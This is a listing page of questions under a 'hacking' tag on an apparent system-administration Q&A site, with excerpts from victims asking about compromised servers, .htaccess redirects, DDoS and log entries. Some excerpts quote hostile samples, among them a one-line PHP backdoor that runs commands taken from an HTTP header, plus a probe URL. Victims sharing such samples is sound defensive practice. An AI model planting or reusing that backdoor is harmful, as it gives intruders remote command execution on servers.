The hacking tag has no wiki summary.
0
votes
0answers
33 views
Is the ConfigServer eXploit Scanner (cxs) worth it?
We have had some problems in the past with hackers uploading bad files. This things would seem to stop them uploading them. Does it work well?
7
votes
1answer
485 views
ubuntu 10.10 sshd contains “YOU WANNA SMOKE A SPLIFF” and pot leaf ascii art. Does this mean I've been hacked?
My sshd binary on an ubuntu 10.10 machine contains the following ascii artwork:
ng: %.100sToo many lines in environment file %sUser %.100s not allowed because %s exists YOU WANNA . ...
-1
votes
1answer
43 views
Old ubuntu password
I know how to set new password of root in ubuntu 10.04 if I don't know root pasword and grub has no password . I want to know that whether I could get the old password which was set before I changed ...
1
vote
1answer
76 views
Malicious script changing .htaccess files on server [closed]
Possible Duplicate:
My server's been hacked EMERGENCY
There seems to be a malicious script accessing my server and editing the .htaccess files for all of my hosted sites to redirect ...
-3
votes
1answer
72 views
Project ideas to use a bunch of old modems, routers and cell phones? [closed]
Like many people, I have numerous old modems, wireless routers and cell phones and I am trying to come up with a cool project to do with this stuff. I mainly do web programming and server ...
3
votes
3answers
202 views
Recover data from EC2 instance storage
So last week, an instance on EC2 stopped responding, I still don't know exactly why because I can no longer SSH in, I suspect the /tmp/ directory which was mounted to another drive is no longer ...
-1
votes
1answer
75 views
How does Annonymous (or others) hack all of these high profile websites? What are the faults of the server admins? [closed]
In the news in the last 2 years, Anonymous/AntiSEC/etc... has been getting a lot of press for hacking high profile websites:
PlayStation Network
FBI
CIA
Bank websites
Stratfor
etc....
I'd like ...
0
votes
1answer
391 views
What is “/admin/Y-ivrrecording.php?php=info&ip=uname”?
Help me please, I found an IP address from Korea try to do something with my web server by put this '/admin/Y-ivrrecording.php?php=info&ip=uname' like search a filename from my web server. I ...
1
vote
2answers
56 views
How to prevent bombardment of hack attempts on VPS
Ever since I bought a VPS, I have been receiving emails like those shown below since day one, every single day. I was wondering if is this really normal? Is there anyway I can prevent it, or is ...
0
votes
2answers
101 views
Kindly help me on how to handle the hacker
I have a website. Somebody is sending thousands of 404 hits to my site. He uses random IPs. he is keep on sending at least 1000+ hits everyday to various urls which doesn't exists in my site. I have ...
-1
votes
1answer
82 views
How do I figure out how the “Pharma Hack” hackers are gaining access to my site?
One of my sites has been the continuous target of the "Pharma Hack" - but it's using Drupal instead of Wordpress or Joomla. It is version 6, but it's updated to the latest version, and so are all of ...
0
votes
1answer
180 views
Please help me decode this Wordpress hack? [closed]
Annotated code is here: http://pastebay.com/145971
Looks like a very similar situation to this post
I'm no good with python so I thought I might ask for help here. The hack seems to include an ...
0
votes
2answers
325 views
Apache/PHP root exploit
Because of insecure handling of uploaded files, an attacker was able to run php code on my server (CentOS 5.4) That issue has been fixed, but while he was connected he appears to have modified a file ...
-2
votes
2answers
181 views
apache-memory-hacker-linux
We have a linux server with 4Gb of memory. When we start the system it uses only 435Mb. When we start the apache httpd services it take 1000Mb and subsequently automatically it takes all the memory ...
-4
votes
1answer
153 views
Have I been compromised? [closed]
Possible Duplicate:
My server's been hacked EMERGENCY
Looking thru my logs, I found this:
http://paste.u4ik.us/2294$
(The log files are on that paste).
Question is, this guy began ...
0
votes
1answer
45 views
Allow nmap advanced scans for a normal user
I want to allow a normal user to run NMAP's advanced scans like XMAS, TCP FIN, TCP NULL scans.
Can somebody please tell me how to do that ?? Since it uses raw packets so whether setting the setuid bit ...
0
votes
2answers
154 views
how to find who is perform malicious activity in shared hosting server
I am a shared webhosting provider, I got a complain:
* COMPLAINT *
| *.*(server shared ip) | 2011-09-17 20:02:12 | jakarta.dreamhost.com | 1807770 | oscommerce remote upload from ...
7
votes
2answers
188 views
Dissecting a website attack through a compromised FTP account
My site has been hacked and at this point, I know some details, but I'm at a loss at exactly how it happened or how to prevent it in the future. I need your help in trying to dissect the attack so ...
3
votes
4answers
106 views
Dealing with low level attackers?
I have a small games site with 400 members (~50 active) built around a MySQL database. I'm the sole developer, and I'm an amateur, so I make my fair share of mistakes.
To help protect myself, the ...
2
votes
1answer
201 views
Hacking attempt - my server has recently had a hacking attempt. I have the ip address of the attacker
Can I report them to the police ?
I am in the UK - is there any type of authority that investigates such matters ?
0
votes
2answers
57 views
mod_proxy security issues
A friend is asking me about mod_proxy modules ,
They have a server that was recently attacked using mod_proxy and after checking his logs he said he wasn't vulnerable to those attacks since they have ...
5
votes
3answers
594 views
Hacked? How does appending a filename allow access to data on site… see example
Visiting all of the following sends you to the login screen:
http://mysite.com/admin/configuration.php
http://mysite.com/admin/login.php
However if you visit (note the last two portions of the url ...
2
votes
3answers
421 views
.htaccess file hacked, how to prevent this in future?
The hacker added a code in .htaccess file to redirect all search engine traffic to a malware website. I am now investigating this incident and trying to find out security loop holes. My situation is ...
1
vote
1answer
128 views
PHP Backdoor code [closed]
I've found a php backdoor on my host.
<? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?>
I see requests in access log to that php file were POST requests, but I don't know
how the SETENV of that ...
4
votes
2answers
218 views
Mac Server Access.log concerns, possibly hacked? (newb sorry)
this is what my web access.log looks like (well a short snippet)
46.4.33.46 - - [20/Jul/2011:11:56:18 +0100] "GET http://allegro.pl/matematyka-wokol-nas-6-zeszyt-cwiczen-czesc-1-2-i1727657348.html ...
1
vote
2answers
54 views
how to prevent attacker search for file in my server
I have many errors in log file like:
[Tue Jul 19 09:56:45 2011] [error] [client 61.160.222.90] File does not exist: /var/www/vhosts/xxx.com/httpdocs/xqxsmirserver6.rar
[Tue Jul 19 09:56:45 2011] ...
4
votes
1answer
178 views
How did a phisher upload to my server?
My webhost notified me they got a complaint from bank of america that one of my accounts under my reseller (WHM) account was compromised by a phisher. Once the host unsuspended my account I tried to ...
2
votes
3answers
206 views
Anti-DDoS Question
Our company´s main owner (telecon group) wants us to deploy anti-DDoS mechanisms, such as Arbor Pravail, which is a great idea.
Although... I have a question... If our main ISP Backbone provider have ...
1
vote
7answers
386 views
Is it worth hiring a hacker to perform some penetration testing on my servers?
I'm working in a small IT company with paranoid clients, so security has always been an important consideration to us ;
In the past, we've already mandated two penetration testing from independent ...
1
vote
4answers
285 views
has my server been hacked w00tw00t.at.ISC.SANS.DFind
I'm quite sure my server's been hacked. I'm seeing these entries in my access log as the last two before a series of 500 error messages, It's related to the DB but I haven't found out the exact error ...
1
vote
2answers
166 views
How secure are files hosted on IIS Anonymously with Directory Browsing Disabled?
To elaborate a bit on this point, I'd like to know how secure are documents hosted on an IIS website with the following configuration:
IIS Directory Listing Disabled
Anonymous Access is Enabled
Site ...
0
votes
4answers
47 views
Requesting different websites with IP and headers
Is it possible to lure a website from the web server without relying on DNS records?
Windows IIS WebServer was working with headers, Linux is working with virtual server names etc.
Imagine this ...
4
votes
2answers
135 views
Security Flaw - Report it?
This may be a community wiki, I'm not sure.
Imagine a scenario where you discover a security flaw in a company's website while browsing the web. Something involving a change to URL parameters that ...
0
votes
2answers
165 views
Did My Server Get Attacked?
I logged into my server today and saw the following unrecognized code at the top of my directory browse window:
document.writeln("");var el = ...
-1
votes
1answer
214 views
How often are servers attacked/hacked/going down? And why? [closed]
We all hear about spectacular stories in the medias about high profile companies' server going down or being hacked or being attacked. However, it does not necessarily mean that it happens all the ...
6
votes
3answers
267 views
Somebody eating all our bandwidth, what should I do?
OK, this is frustrating, my site got thousands of page views/connections in the last 3 days and finally we ran out of monthly bandwidth. We bought more bandwidth and closed the site for maintenance. ...
2
votes
4answers
520 views
front page keeps getting hacked
A similar attack keeps happenning on two of my sites (one is running latest Joomla, one is not).
It usually says "hacked by general" or something similar. When I check the files on one of them, ...
1
vote
1answer
115 views
Removing redirection to antivirus in a hacked web page [closed]
Possible Duplicate:
My server's been hacked EMERGENCY
After some sort of hacking, the main URL of my website now redirects to a fake antivirus page. How can I remove this thing?
2
votes
5answers
1k views
Finding out who hacked my site [closed]
Possible Duplicate:
My server's been hacked EMERGENCY
All Joomla! sites hosted on a single server of mine were hacked and had the following code injected into the index.php files ...
1
vote
3answers
143 views
What can be causing the following hack?
Server information:
Windows XP
Service Pack 2
Microsoft-IIS/6.0
Generally speaking the server is out of my countrol (for the time being.) I can request patches that are missing but ...
2
votes
3answers
207 views
Amazon EC2 instance possibly Compromised
I have an EC2 instance that may have been compromised. The instance responds far too slowly as of last week and recently I've checked the httpd access_logs and they are in excess of 11Gigs, despite ...
2
votes
6answers
2k views
How did they hack my Wordpress sites
I have many wordpress sites hosted in a Bluehost shared hosting environment. Recently when I searched one of the sites in Google, it said "The site might be compromised".
I got alerts from Google ...
3
votes
4answers
226 views
Web server minimum password security based on 100 attempts per second
This insightful article proposes that passwords don't need to be very secure:
http://www.baekdal.com/tips/password-security-usability?
There is one specific line in here that I find troubling:
...
4
votes
1answer
610 views
How do I decode this WordPress hack? [closed]
I found an offending string in a client's WordPress-powered website, and I just want to know what it does.
...
2
votes
2answers
508 views
Ubuntu Server hack
I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access.
I found this in an ftp user .bash_history ...
2
votes
3answers
314 views
Discover LAN's IP range, netmask & gateway?
If I am plugged into a network with no DHCP and no reachable 'sample' hosts where I can peek in the configs. how do I discover/guess the network IPs range, netmask? Gateway IP address?
P.S. Don't ...
0
votes
2answers
144 views
DDoS Network Protection Devices
In our office we're running a Cisco ASA 5510 firewall. Is this device enough if we want to protect against DDoS attacks?
What devices (like cisco guard, etc) do you recommend and what's the user ...
1
vote
4answers
490 views
My computer is sending ICMP packets to arbitrary destinations
My computer is sending ICMP packets to arbitrary destinations. I can't understand the reason. Dump of one of the packet is :
Internet Control Message Protocol
Type: 3 (Destination unreachable)
...
0
votes
2answers
288 views
.htaccess htpassword protect, safe enough?
hey, im blocking my site via htaccess .htpassword, i heard from a friend that it really a joke and its can be bypassed in a minute, is that true? what is other method that i can prevent users/bots to ...
1
vote
3answers
529 views
hosts.deny not blocking ip addresses
I have the following in my /etc/hosts.deny file
#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the ...
